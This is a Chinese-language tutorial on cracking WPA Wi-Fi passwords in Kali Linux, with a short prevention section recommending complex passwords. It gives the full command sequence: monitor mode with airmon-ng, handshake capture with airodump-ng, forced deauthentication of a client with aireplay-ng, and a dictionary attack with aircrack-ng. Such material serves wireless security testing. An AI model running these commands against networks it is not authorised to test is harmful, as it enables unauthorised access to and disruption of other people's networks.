目錄

一、準(zhǔn)備

二、案例

1、連接usb無線網(wǎng)卡

2、查看網(wǎng)卡信息

3、開啟網(wǎng)卡監(jiān)聽

4、掃描wifi信號(hào)

5、抓取握手包

?6、強(qiáng)制斷開連接

7、破解握手包

三、預(yù)防?

---

一、準(zhǔn)備

1、usb無線網(wǎng)卡（筆記本也是需要用到）

2、密碼字典（Kali 系統(tǒng)自帶字典目錄wordlists。/usr/share/wordlists）

二、案例

1、連接usb無線網(wǎng)卡

把usb無線網(wǎng)卡插入，并連接至Kali虛擬機(jī)。

2、查看網(wǎng)卡信息

【操作命令】

airmon-ng

【操作實(shí)例】

#說明：wlan0是網(wǎng)卡，后面要使用到

3、開啟網(wǎng)卡監(jiān)聽

【操作命令】

airmon-ng start wlan0

【操作實(shí)例】

?

#說明：wlan0是網(wǎng)卡，根據(jù)1中查看到的結(jié)果自行修改?

4、掃描wifi信號(hào)

【操作命令】

airodump-ng wlan0

【操作實(shí)例】

#說明：空格可以暫停。

ESSID：WiFi名稱。

CH：信道。

BSSID：路由器mac地址。?

5、抓取握手包

【操作命令】

airodump-ng -w kalitest -c 1 --bssid 08:10:7C:4A:27:01 wlan0

?#說明：以4中掃描出的glovet為例。

-c：指定信道，4中g(shù)lovet對應(yīng)的CH。

-w：指定抓取握手包存放名稱（kalitest），存放在當(dāng)前操作目錄下?？墒褂胮wd命令查看當(dāng)前目錄。

--bssid：指定路由器mac地址，4中g(shù)lovet對應(yīng)的bssid。

【操作實(shí)例】

#說明：

BSSID：路由器mac地址

STATION：連接路由器的終端mac地址。

?6、強(qiáng)制斷開連接

#注意：需要重新打開一個(gè)終端執(zhí)行命令。

5中掃描無結(jié)果，無法操作。

【操作命令】

aireplay-ng -0 2 -a 08:10:7C:4A:27:01 -c A0:82:22:49:AE:99 wla0

【操作實(shí)例】

#說明：-0：指定發(fā)送反認(rèn)證包個(gè)數(shù)。

-a：指定路由器mac地址。5中掃描結(jié)果中的BSSID。

-c：指定客戶端mac地址。5中掃描結(jié)果中的STATION。

wlan0：網(wǎng)卡名稱。

7、破解握手包

【操作命令】

aircrack-ng -w pass.txt kalitest-*.cap

#說明：-w：指定密碼字典

kalitest-*.cap：*號(hào)統(tǒng)配所有cap文件。kalitest對應(yīng)5中-w對應(yīng)名稱。

【操作實(shí)例】

#說明：Current passphrase：就是當(dāng)前正在嘗試破解的密碼。我測試時(shí)，破解速度是1秒2000左右個(gè)密碼。

破解依賴于字典，說白了就是通過字典一個(gè)一個(gè)去試密碼，試對了就破解了，字典中沒有對應(yīng)密碼就不能破解。字典越大，破解的可能性越高，嘗試完成花費(fèi)時(shí)間越長。

獲取更多的信息有助于破解，比如具體幾位數(shù)密碼，密碼組成（數(shù)字、字母等）。

三、預(yù)防?

?對于這種暴力破解的預(yù)防，簡單點(diǎn)就是密碼設(shè)置相對復(fù)雜。

例如可以設(shè)置12位以上，涵蓋大寫字母、小寫字母、數(shù)字、符號(hào)的混合密碼，且不要使用英文單詞或有規(guī)律的詞組。

這種密碼不是不能破解，而是需要的時(shí)間很長，沒有這個(gè)價(jià)值，別人不會(huì)去破解。一般性能的電腦去破解這種程度的密碼幾乎不太可能，除非運(yùn)氣好。